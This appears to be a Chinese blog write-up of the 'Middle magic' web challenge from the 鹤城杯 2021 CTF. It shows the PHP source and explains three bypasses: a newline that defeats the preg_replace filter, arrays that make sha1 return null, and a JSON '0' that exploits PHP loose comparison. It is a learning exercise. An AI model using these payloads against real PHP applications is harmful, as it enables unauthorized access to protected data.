【鹤城杯 2021】Middle magic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
highlight_file(__FILE__);
include "./flag.php";
include "./result.php";
if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){

$aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', $_GET['aaa']);

if(preg_match('/pass_the_level_1#/', $aaa)){
echo "here is level 2";

if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
if ($_POST['admin'] == $_POST['root_pwd'])
echo '<p>The level 2 can not pass!</p>';
// START FORM PROCESSING
else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){
echo "here is level 3,do you kown how to overcome it?";
if (isset($_POST['level_3'])) {
$level_3 = json_decode($_POST['level_3']);

if ($level_3->result == $result) {

echo "success:".$flag;
}
else {
echo "you never beat me!";
}
}
else{
echo "out";
}
}
else{

die("no");
}
// perform validations on the form data
}
else{
echo '<p>out!</p>';
}

}

else{
echo 'nonono!';
}

echo '<hr>';
}

?>

这道题有三个if,分别是
1.第一个if要求aaa=pass_the_level_1
2.第二个if要求传入两个不相等变量adminroot_pwd两者sha1加密后相等;
3.第三个if要求传入level_3,对其进行json解码之后,需要$level_3->result == $result

1
2
json_decode ( string $json [, bool $assoc = false [, int $depth = 512 , int $options = 0]]] )
//json_decode接受一个JSON格式的字符串并且把它转换为PHP变量,当该参数assoc为TRUE时,将返回array,否则返回object。

第一个if
因为preg_replace函数只能匹配一行的数据,因此我们只需先传入换行符,那么后面的传入便不再被匹配

1
2
?aaa=%0apass_the_level_1%23
//这里解释一下%23,这是#的url编码,直接传入#是不行的,浏览器会将它视作url的指示符号,可以去了解一下url的构成就能理解了(个人的理解,轻点喷)

第二个if
直接用数组绕过,sha1加密时,若传入的是数组,返回值为null

1
admin[]=1&root_pwd[]=2

第三个if

1
2
3
4
5
level_3={"result":"$result"}
//其他师傅的
level_3={"result":"0"}
//php弱比较在面对纯字符与0的比较时,会返回true,例如'abc' == 0返回为true
//推测$result是纯字符,因此构造result->0

【鹤城杯 2021】Middle magic
http://example.com/2024/08/10/[鹤城杯 2021]Middle magic/
作者
unjoke
发布于
2024年8月10日
许可协议